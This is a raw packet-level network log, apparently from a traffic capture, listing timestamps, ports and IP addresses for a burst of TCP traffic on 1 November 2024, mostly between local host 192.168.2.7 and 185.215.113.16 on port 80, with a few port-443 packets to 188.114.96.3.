Nov 1, 2024 12:35:03.209893942 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.209906101 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209918976 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.209919930 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209938049 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.209954023 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.210629940 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.210643053 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.210649967 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.210659027 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.210689068 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.210737944 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.211549044 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.211561918 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.211572886 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.211592913 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.211599112 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.211615086 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.211657047 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.211657047 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.211697102 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.271874905 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.272094011 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.272104979 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.272131920 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.272171974 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.272783995 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.272797108 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.272806883 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.272831917 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.272846937 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.277851105 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.277935982 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.277949095 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.277956963 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.277960062 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.277973890 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.277988911 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.277990103 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.278002977 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.278006077 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.278042078 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.278731108 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.278740883 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.278784037 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.286019087 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286036968 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286048889 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286062956 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286075115 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286086082 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286087036 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.286093950 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286142111 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.286736012 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286747932 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286760092 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286780119 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286784887 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.286794901 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286807060 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286819935 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286830902 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286833048 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.286844015 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286859035 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.286876917 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.286899090 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.287411928 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.287425041 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.287471056 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.333214045 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333266973 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333278894 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333332062 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333336115 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.333343983 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333368063 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333381891 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333384037 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.333412886 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.333447933 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.333640099 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333652020 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333662033 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333674908 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333686113 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333688021 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.333698988 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333710909 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333717108 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.333724022 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333730936 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.333738089 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333750010 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.333750010 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.333776951 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.333801031 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.334373951 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.334395885 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.334408045 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.334439993 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.334465981 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.334781885 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.334794044 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.334805012 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.334834099 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.334856033 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.336091995 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.336103916 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.336123943 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.336169004 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.336169004 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.336169958 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.336510897 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.336523056 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.336560011 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.336575031 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.395114899 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.395127058 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.395143032 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.395162106 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.395179987 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.395200968 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.395229101 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.395678043 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.395725965 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.395993948 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.396007061 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.396040916 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.401418924 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.401474953 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.401485920 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.401537895 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.401787043 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.401798964 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.401808977 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.401819944 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.401832104 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.401850939 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.401880026 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.402158022 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.402169943 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.402262926 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.409054041 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409065962 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409077883 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409115076 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.409141064 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409148932 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.409153938 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409167051 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409178972 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409187078 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.409214973 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.409269094 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409281969 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409295082 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409318924 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.409339905 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.409384966 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409396887 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409408092 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409429073 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.409454107 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.409493923 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409504890 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409514904 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409528017 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409540892 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.409540892 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.409565926 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.409579039 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.410101891 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.410114050 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.410125017 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.410136938 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.410160065 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.410192013 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.456585884 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.456598043 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.456609011 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.456653118 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.456679106 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.457000971 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.457012892 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.457024097 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.457036018 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.457047939 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.457052946 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.457084894 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.457242966 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.457259893 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.457279921 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.457288980 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.457298994 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.457312107 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.457315922 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.457324028 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.457335949 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.457345963 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.457353115 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.457376957 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.457392931 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.457729101 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.457750082 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.457777023 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.457787991 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.458029032 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.458049059 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.458060980 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.458111048 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.458283901 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.458302021 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.458419085 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.459449053 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.459461927 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.459472895 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.459496021 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.459520102 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.459579945 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.459603071 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.459614992 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.459642887 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.459664106 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.519001961 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.519016981 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.519027948 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.519107103 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.519108057 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.519188881 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.519201040 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.519236088 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.519376993 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.519391060 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.519426107 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.519450903 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.520258904 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.520307064 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.525285006 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.525298119 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.525309086 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.525342941 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.525350094 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.525362968 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.525372028 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.525374889 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.525388956 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.525397062 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.525404930 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.525438070 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.525579929 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.525593042 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.525604010 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.525635958 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.525650978 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.532665968 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.532679081 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.532690048 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.532721043 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.532751083 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.532809973 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.532821894 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.532833099 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.532844067 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.532862902 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.532876015 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.532907963 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.533011913 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.533023119 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.533035040 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.533046007 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.533057928 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.533072948 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.533086061 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.533093929 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.533098936 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.533111095 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.533128977 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.533159018 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.533324003 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.533373117 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.533385038 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.533413887 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.533426046 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.533508062 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.533519983 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.533530951 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.533555031 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.533579111 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.533905029 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.534069061 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.534148932 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.534161091 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.534185886 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.534203053 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.541538000 CET	443	50049	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:03.541642904 CET	443	50049	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:03.541982889 CET	50049	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:03.542025089 CET	50049	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:03.580821991 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.580836058 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.580846071 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.580894947 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.580909967 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.580923080 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.580930948 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.580935955 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.580957890 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.580981970 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.581022978 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.581034899 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.581044912 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.581068039 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.581100941 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.581140041 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.581152916 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.581192970 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.581414938 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.581428051 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.581439018 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.581470966 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.581484079 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.581624985 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.581639051 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.581676006 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.581798077 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.581810951 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.581820965 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.581845999 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.581871986 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.581924915 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.581964016 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.582072020 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.582110882 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.582161903 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.582209110 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.583280087 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.583352089 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.583363056 CET	80	50043	185.215.113.16	192.168.2.7
